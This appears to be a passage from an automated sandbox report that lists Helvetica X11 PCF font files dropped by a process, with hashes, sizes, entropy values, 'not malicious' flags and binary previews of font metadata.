Preview:	.fcp............................d...4...............................`... ........... %..@...........0'..............8*..........d...H2...............................$....0...7....=...?....M...T....c...d........o....x...z....K........K.................C................................................................................2...%....2...5....?...I....N.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-M

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR12-ISO8859-10.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	13320
Entropy (8bit):	3.8868429131109368
Encrypted:	false
SSDEEP:	96:4jcoW1JdqlZQxxblH4S1s0+iBR1VZnYYYXZOLWAPMbZ3+L+sLhaLcq:0pWLdV53+SjVcZOLWrZbsLQb
MD5:	61E010F792110099CED80ACCDA2E9A3F
SHA1:	ADC2261603F7207593CD2CE2EA38620F35BF3119
SHA-256:	942E10B7C94406BB0B5524D2529F0288BDF4F9639DDC5012D6AA851712A06DF8
SHA-512:	F4EE1709666142E51FCB1EEBC44FCD566B374F11FAAD95128771036B8BF5EB6AF3F326D551D9B1EFE61559395A0F27B6217D96DA18E11AE7FB4AF65B718181F7
Malicious:	false
Preview:	.fcp............................d...4...........................l...`... ............&..@............(...............+..........d....3...............................$....0...7....=...?....M...T....c...d........o....x...z....K........K.................C................................................................................2...&....2...6....@...J....O.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.10.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR12-ISO8859-13.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	13060
Entropy (8bit):	3.967420617383747
Encrypted:	false
SSDEEP:	96:52coj1J7qK9HWB1wH4S1N0cR1V6cEYYBZOyMHqgbZ32m5oIcj5lkvCsozu:52pjL7Ew5X0cjV6ZOyMfZBXeLiBozu
MD5:	5E869541968AFCC491DF89ED6941FC07
SHA1:	3E20C4998FDF972ADB22B4774D64F0DF3F4754B6
SHA-256:	4B970B82C45EFF74FECED6BBB1265A9602BC30E90B7BEA78148299B0706E836E
SHA-512:	D83EE6C9E53B938D8BCFCDF3AF105A46E0964750A53EA6916E094F77399AE6A8C3CDDB5D74B4702C0B113FCACD53F64618F8D756088EA9633907BB6CF8D8574B
Malicious:	false
Preview:	.fcp............................d...4...........................(...`... ............%..@............'..........4....*..........d....2...............................$....0...7....=...?....M...T....c...d........o....x...z....K........K.................C................................................................................2...&....2...6....@...J....O.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.13.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR12-ISO8859-14.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	13468
Entropy (8bit):	3.897707318743175
Encrypted:	false
SSDEEP:	96:fcoi1JJqnlyxxx4H4S1MhJ1aiR1VOSPYYYNZOZqI6NmbbZ3MqRx6:fpiLJU15QJ15jVOrZOJ6NyZc8g
MD5:	F125227A8C7BDF9D8FA33409E1481828
SHA1:	24F272029DB159AA0DCA8FF1C975A7793DE30D63
SHA-256:	270D4A8769AF7F8401CC9712BE7BAC2CC1A87AEA448304E5FFE13E581248CE1F
SHA-512:	5FFF4491BB8EB1341E7A9F9DFD8EE4F86976411D88AB7B3DA7A74414E4F591BD3057BFC9375BF38F3F48EEFE34891A0BF69E1568DDC55B80CB5EFB5261D1BFFE
Malicious:	false
Preview:	.fcp............................d...4...............................`... ...........T'..@...........d)..............l,..........d...l4...............................$....0...7....=...?....M...T....c...d........o....x...z....K........K.................C................................................................................2...&....2...6....@...J....O.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.14.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR12-ISO8859-15.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	13008
Entropy (8bit):	3.9419650289543084
Encrypted:	false
SSDEEP:	96:rcot1JuqjWxxxr0H4S1tswopR1V87iYYY8ZOC72ehbZ3EaJoI0207ey:rptLul05nswcjVZZOCa0ZVkr
MD5:	B06DC7C7DA08302BA95831F1155CCE55
SHA1:	BBB15F803CE2BDA0D78F90FDDD69741AB71F8BFC
SHA-256:	50DB022E56BA85BB6F93C63AA461C9EDE3B6D052154F605E3E01CC0DA1906276
SHA-512:	E17E3FE278A0CFD741AADACA3354BAA59C787559EB6D910117E2476E3F30F8F0E5584179FE207C2CC03CF8D48D38D7CA6B198F95D603A463CC08D01065D87F31
Malicious:	false
Preview:	.fcp............................d...4...........................4...`... ............%..@............'...............*..........d....2...............................$....0...7....=...?....M...T....c...d........o....x...z....K........K.................C................................................................................2...&....2...6....@...J....O.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.15.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR12-ISO8859-2.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	13096
Entropy (8bit):	3.9002067739251776
Encrypted:	false
SSDEEP:	96:tdd2q1Jpq9Q6g4xxHwCH4S1OPtHR1VMYGYY2ZOwZF1ObZ3jL5s18:tddxLpF6+C5wP9jVtZOwtwZT3
MD5:	0E6456187329F7643801E5CD08A0B89F
SHA1:	16FD42C5E6880BA2DE4CEF5AE98C5673B8290127
SHA-256:	D00DE68DA8B80B1AA3DBCCAA8B72A0ADDD367431B4DD4D493847039F0BBE2C2C
SHA-512:	58F180D901B4AAA0C2F85CA8B99E559586411494B76ABB6783FCE020157AB20A201967CFDD7FC281303D14973BEA2D0D106E3C5AFD4144DCC5D3141D21313134
Malicious:	false
Preview:	.fcp............................d...4...............................`... ............%..@............(...............+..........d....2...............................$....0...7....=...?....M...T....c...d........o....x...z....K........K.................C................................................................................2...%....2...5....?...I....N.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.2.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-M

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR12-ISO8859-3.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	12696
Entropy (8bit):	3.925135318324245
Encrypted:	false
SSDEEP:	96:td21JOq1Bxqk+5H4S1zwgodmVfQ2YYYkZOpUO3tSRbZ3Du6xM:td2LOked55ZwgogVrZOmOKZhi
MD5:	6E251975B3D9A2741E79E4C66888803A
SHA1:	0AF8DBBC878598CAFB9A8C1EEEB884F6555A23AF
SHA-256:	FD335D305C5B227AF9515BCEAFE40A68FEA0EF834FF95C6B6A960F1036E1587E
SHA-512:	2CE02687423D56A249981F688094AE2BE2C0BCEB2F837FCC0D3CD12787C4C9C7F05185091E9F77E8EF1FC1055085B6148F76B509EEEBEABF6051E04DA438D854
Malicious:	false
Preview:	.fcp............................d...4...........................P...<... ............$..@............&...............)..........d...h1...............................$....0...7....=...?....M...T....c...d........o....x...z....K........K.................C................................................................................2...%....2...5....?...I....N.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.3.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-M

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR12-ISO8859-4.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	13112
Entropy (8bit):	3.9104460255895583
Encrypted:	false
SSDEEP:	96:sdv1JRqn6nxyvxH4S1Oe4R1VjMlYCZOeLAprAZbZ3aOXBecx:sdvLRGx5orjVoZOivZBBx
MD5:	80F4D2167E12F6DFDB17A5BEBBA374FA
SHA1:	DB9245025D6B763906C7183FEFBA7544C820998A
SHA-256:	0BD4089FC3C1D5F14CF3A0B1809C51AD6A50C7C47D8CFAE703B68F10811660C9
SHA-512:	276C33B79F6D5BAD6DC03C02B492FB28E27F3C41FFF481EE5BBAC5577F93FDF4F92D76FDDD99C6F6BE788A704CED6317EEBB16CA16647815FA005DC180364708
Malicious:	false
Preview:	.fcp............................d...4...............................`... ............%..@............(...............+..........d....3...............................$....0...7....=...?....M...T....c...d........o....x...z....K........K.................C................................................................................2...%....2...5....?...I....N.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.4.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-M

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR12-ISO8859-9.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	12936
Entropy (8bit):	3.9632407549454034
Encrypted:	false
SSDEEP:	96:DdI1JhqW5Qxxx6CH4S1cWQaiaR1VzjNYYYpZOG7hbZ3Ea8OoIOllTreu:DdILhfC5NpjVGZOmZTAFd
MD5:	EBCCFFC759D1CF903341AB9910EBFDB7
SHA1:	6A39788885186E96FB68DCEEB8F76E6AA8332344
SHA-256:	D858C73FD0FD94ECB8C4C784B5B1146C05ADBEEF4AED470AB2A624EC165D1933
SHA-512:	6540CE383C50405CFC0814BE87BF6AFE2634C0E0BA44D247CCED8FF5EC1735BAEFACC5B0937B0F440DA007920E208ACB61D4A8FBC9167B95EA7F01E837A09F55
Malicious:	false
Preview:	.fcp............................d...4...............................`... ........... %..@...........0'.......... ...8*..........d...X2...............................$....0...7....=...?....M...T....c...d........o....x...z....K........K.................C................................................................................2...%....2...5....?...I....N.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.9.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-M

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR12.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	67392
Entropy (8bit):	3.7303044495550557
Encrypted:	false
SSDEEP:	384:Alma0MrHI32kNj7qVr3g7DHHHV0ZAtXqaCjHdQ0XLTfVPl:AlyMrgFp7A2aaCrNbTfVPl
MD5:	5A95DBA6D5215ADE32A5345848B5E658
SHA1:	C3F4ABC25D425AC3D47DFB8800743C8991F22ECB
SHA-256:	5F7210AC83FED97F6CC92E38BE06D94DAF4EDF68D08767FECAA7F58AAA4EC908
SHA-512:	209BF34CE5C416EB8B8075ADDDACBD053C7BE221F5B998CE259316E5973829CBF0948FD605035A94CD539E71AA0BF69BD9F2F2D9A305C76CBC15301635434A12
Malicious:	false
Preview:	.fcp............................d...4............................~..d... ........F......@.......................4#..............d....................................$....0...7....=...?....M...T....c...d........o....x...z....K........K.................C................................................................................2...&....2...6....@...J....O.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR14-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	13988
Entropy (8bit):	3.9070869287349113
Encrypted:	false
SSDEEP:	96:8DA1JrrnBHJUbetBhJqe8PXeGXFR1VzjiYYY8ZOGXanbZ3Ea8OoIOll07e2:8DALHnP1JqVPXeYjVGZOUabZTAGX
MD5:	5BB0667D26AF2C09A53C0CEC70BA6129
SHA1:	A505E957BEE746870C39FD9DF8AD374E2486BE80
SHA-256:	338EA7D4E958114BF838E3241DA02C7962C030249292EB5E81DD4D5EE7D5727E
SHA-512:	282214BE5CA0F42110C1E8773410DFA273C20A96E00E32E9BE1A13FE87FBB92666C50CE44DCA30809AA3432600397C5ABFD00D82E485314A2EF5645F577D60CD
Malicious:	false
Preview:	.fcp............................d...4............................ ..`... ...........L)..@...........\+..............d...........d...t6...............................$....0...7....=...?....M...T....c...d........o........z....K........K.................M................................................................................2...%....2...5....?...I....N.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-M

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR14.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	71804
Entropy (8bit):	3.7228320760283617
Encrypted:	false
SSDEEP:	384:XTtiXFqgVAr11feKZQKeX8E/7qVr3g7DHHHV0ZAtXqaCjHdQ0XLTfVPR:XTtiXFqgVAr3TrM7A2aaCrNbTfVPR
MD5:	21C7BC483B3B448024A0BD2FAE2FA6E6
SHA1:	B0D49F228157671B0F4F4BA19C88B755FB8F12CA
SHA-256:	DAE4AA77BF46DA0EA1A4619915BDD2D85F358F4E8822AD4DEBA518C73BE2D97D
SHA-512:	73A69716B4ED5100821B35989658ED9DF9726A10B1C59AA6E5B67108ED3EB32B9436F8CD4A4BEDD8B33FF4FBD70EF97273538C56E7072B4E2686E2F246A82FF2
Malicious:	false
Preview:	.fcp............................d...4..............................d... ........F..0...@...........@...........4#..............d...L................................$....0...7....=...?....M...T....c...d........o........z....K........K.................M................................................................................2...&....2...6....@...J....O.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR18-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	16172
Entropy (8bit):	4.0059090755418145
Encrypted:	false
SSDEEP:	192:9EALYfKLbilz/xEQ3zb9jVGZOUabZTAGa:9JomKVEyEbR
MD5:	72B16A4947B1206F236412B1C166681A
SHA1:	91550F344ED3E782D13D5589CC8444E7ED531272
SHA-256:	CFE6BB426C8D6D11060143FA4E23216A9F0FD2905146081398987E8B2F6B80D6
SHA-512:	31777DF26EE9FAE1F7D2062DF8E2CD5BC0FD6164E01DA803DDF2FC768A8EA5F7907EE719A533490BCA51386F835E2C94CB1D4CABCE3A1461017CF2B646F63FE5
Malicious:	false
Preview:	.fcp............................d...4...........................t)..`... ............1..@............3...............6..........d....>...............................$....0...7....=...?....M...T....c...d........o........z....K........K.................b................................................................................2...%....2...5....?...I....N.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-M

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR18.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	81388
Entropy (8bit):	3.8408009024953316
Encrypted:	false
SSDEEP:	384:HAmsU7XktjwRcvE27qVr3g7DHHHV0ZAtXqaCjHdQ0XLTfVPe:HARt0R327A2aaCrNbTfVPe
MD5:	B8FC3201CCBC715FFDD508B0F1E83649
SHA1:	36E96345FFE6F5F4C1269B912719D999E67F4797
SHA-256:	5CCEC8BA36CDA61778142CF374DA8C769619D87CB284862FE5AC26ECE76E7492
SHA-512:	6EE078AD2F733A39F5B63FBCCB6BB2777C5372F38FE2940B66F864C0C38ED1EEBB91A32900F9180B911463F50C12B3926CC25893444739DA3C9C8F9E8E8811EA
Malicious:	false
Preview:	.fcp............................d...4...........................<...d... ........F......@.......................4#..............d....=...............................$....0...7....=...?....M...T....c...d........o........z....K........K.................b................................................................................2...&....2...6....@...J....O.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR24-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19592
Entropy (8bit):	3.9709446028584394
Encrypted:	false
SSDEEP:	192:/TALGpPVOXfLBJfyXlXfGCOGfWHrf3HIjVGZOUabZTAG+:/SkkX7AfNEbt
MD5:	4B913774880849A79344FB671EA784B2
SHA1:	F9180823720B7D059F895B70874EFFE1C97B4364
SHA-256:	9C2B05A404DA12998C0733080E8A8E69194DD538679EEC9CD657BAE2E342E6BA
SHA-512:	1FA83B2F8C62A219363FDFC0D00D11549F97ED85D02810CF9D0BB1A50B6DC86693BC8326D733EF11E4D80557725E2775C99EEB2996DE964453525DA07E0C6AC5
Malicious:	false
Preview:	.fcp............................d...4............................6..`... ...........0?..@...........@A..............HD..........d...XL...............................$....0...7....=...?....M...T....c...d........o........z....K........K..................................................................................................2...%....2...5....?...I....N.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-M

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR24.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	95608
Entropy (8bit):	3.8712849428631713
Encrypted:	false
SSDEEP:	768:TWthsuwG2w2oy0xyPKpXox17A2aaCrNbTfVP3:TeGuwG2KPyyBOvaaChnfVP3
MD5:	C94407AC9E69649763E8A47706C20FA3
SHA1:	6DD409E0974A4D6552C61E6C223664C0C8C9CFC7
SHA-256:	2CBB3420289833A7120DD3468DFF6FF3070CCD81CFC1E5AAD7C4EF6F7614B672
SHA-512:	3FE6F795EC4BB58E3CE7018716C09B8160FFE996FE52D1A6E87AB8E07649FCCE7DD2E9AC9D8AC65534B40BCD67338D3054A3B0017CDB5E10FCD1AD77CB936FA2
Malicious:	false
